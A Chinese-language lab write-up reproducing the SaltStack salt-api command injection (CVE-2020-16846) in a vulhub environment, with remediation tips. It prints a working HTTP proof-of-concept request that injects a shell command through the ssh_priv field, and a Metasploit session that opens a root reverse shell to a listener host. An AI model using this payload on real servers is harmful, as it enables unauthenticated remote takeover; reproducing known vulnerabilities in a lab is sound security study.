SaltStack Shell 注入 (CVE-2020-16846)漏洞复现
一、漏洞简介
SaltStack是一个分布式运维系统，在互联网场景中被广泛应用，有以下两个主要功能：
? 配置管理系统，能够将远程节点维护在一个预定义的状态
? 分布式远程执行系统，用于在远程节点上单独或通过任意选择标准来执行命令和查询数据
CVE-2020-16846和CVE-2020-25592组合使用可在未授权的情况下通过salt-api接口执行任意命令。CVE-2020-25592允许任意用户调用SSH模块，CVE-2020-16846允许用户执行任意命令。salt-api虽不是默认开启配置，但绝大多数SaltStack用户会选择开启salt-api，故存在较高风险。
二、环境搭建
下载环境：
https://github.com/vulhub/vulhub/tree/master/saltstack/CVE-2020-16846
或者后台回复：CVE-2020-16846下载环境
环境启动：docker-compose up -d
访问地址：https://192.168.1.107:8000/
三、漏洞复现
POC
POST /run HTTP/1.1Host: 192.168.1.107:8000User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:68.0) Gecko/20100101 Firefox/68.0Accept: application/x-yamlAccept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateDNT: 1Connection: closeUpgrade-Insecure-Requests: 1Content-Type: application/x-www-form-urlencodedContent-Length: 91?token=12312&client=ssh&tgt=*&fun=a&roster=whip1ash&ssh_priv=aaa|touch%20/tmp/success%3b
执行poc
touch文件成功
msf里面有exp
exploit/linux/http/saltstack_salt_api_cmd_exec
use exploit/linux/http/saltstack_salt_api_cmd_execmsf6 exploit(linux/http/saltstack_salt_api_cmd_exec) > set rhosts 192.168.1.107rhosts => 192.168.1.107msf6 exploit(linux/http/saltstack_salt_api_cmd_exec) > set rport 8000rport => 8000msf6 exploit(linux/http/saltstack_salt_api_cmd_exec) > set LhOST 192.168.1.117LhOST => 192.168.1.117msf6 exploit(linux/http/saltstack_salt_api_cmd_exec) > set LPORT 4444LPORT => 4444msf6 exploit(linux/http/saltstack_salt_api_cmd_exec) > show options?Module options (exploit/linux/http/saltstack_salt_api_cmd_exec): Name Current Setting Required Description ---- --------------- -------- ----------- Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOSTS 192.168.1.107 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:' RPORT 8000 yes The target port (TCP) SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses. SRVPORT 8080 yes The local port to listen on. SSL true no Negotiate SSL/TLS for outgoing connections SSLCert no Path to a custom SSL certificate (default is randomly generated) TARGETURI / yes Base path URIPATH no The URI to use for this exploit (default is random) VHOST no HTTP server virtual host??Payload options (cmd/unix/reverse_python_ssl): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST 192.168.1.117 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port??Exploit target: Id Name -- ---- 0 Unix Command??msf6 exploit(linux/http/saltstack_salt_api_cmd_exec) > exploit?[*] Started reverse SSL handler on 192.168.1.117:4444[*] Executing automatic check (disable AutoCheck to override)[+] The target is vulnerable. Auth bypass successful.[*] Executing Unix Command for cmd/unix/reverse_python_ssl[*] Command shell session 2 opened (192.168.1.117:4444 -> 192.168.1.107:50332) at 2020-12-21 22:34:40 +0800?iduid=0(root) gid=0(root) groups=0(root)
四、漏洞修复
1. 尽快修复。由于官方并未放出升级包，故目前仍需要手动进行修复，这里是官方安全通告和修复补丁。
2. 如非必须使用salt-api，请关闭该功能。
参考文档：
https://www.anquanke.com/vul/id/2222120
https://github.com/vulhub/vulhub/tree/master/saltstack/CVE-2020-16846
https://www.secpulse.com/archives/146236.html
免责声明：本站提供安全工具、程序(方法)可能带有攻击性，仅供安全研究与教学之用，风险自负!
转载声明：著作权归作者所有。商业转载请联系作者获得授权，非商业转载请注明出处。
订阅查看更多复现文章、学习笔记
thelostworld
安全路上，与你并肩前行！！！！
个人知乎：https://www.zhihu.com/people/fu-wei-43-69/columns
个人简书：https://www.jianshu.com/u/bf0e38a8d400
个人CSDN：https://blog.csdn.net/qq_37602797/category_10169006.html
个人博客园：https://www.cnblogs.com/thelostworld/
FREEBUF主页：https://www.freebuf.com/author/thelostworld?type=article
欢迎添加本公众号作者微信交流，添加时备注一下“公众号”
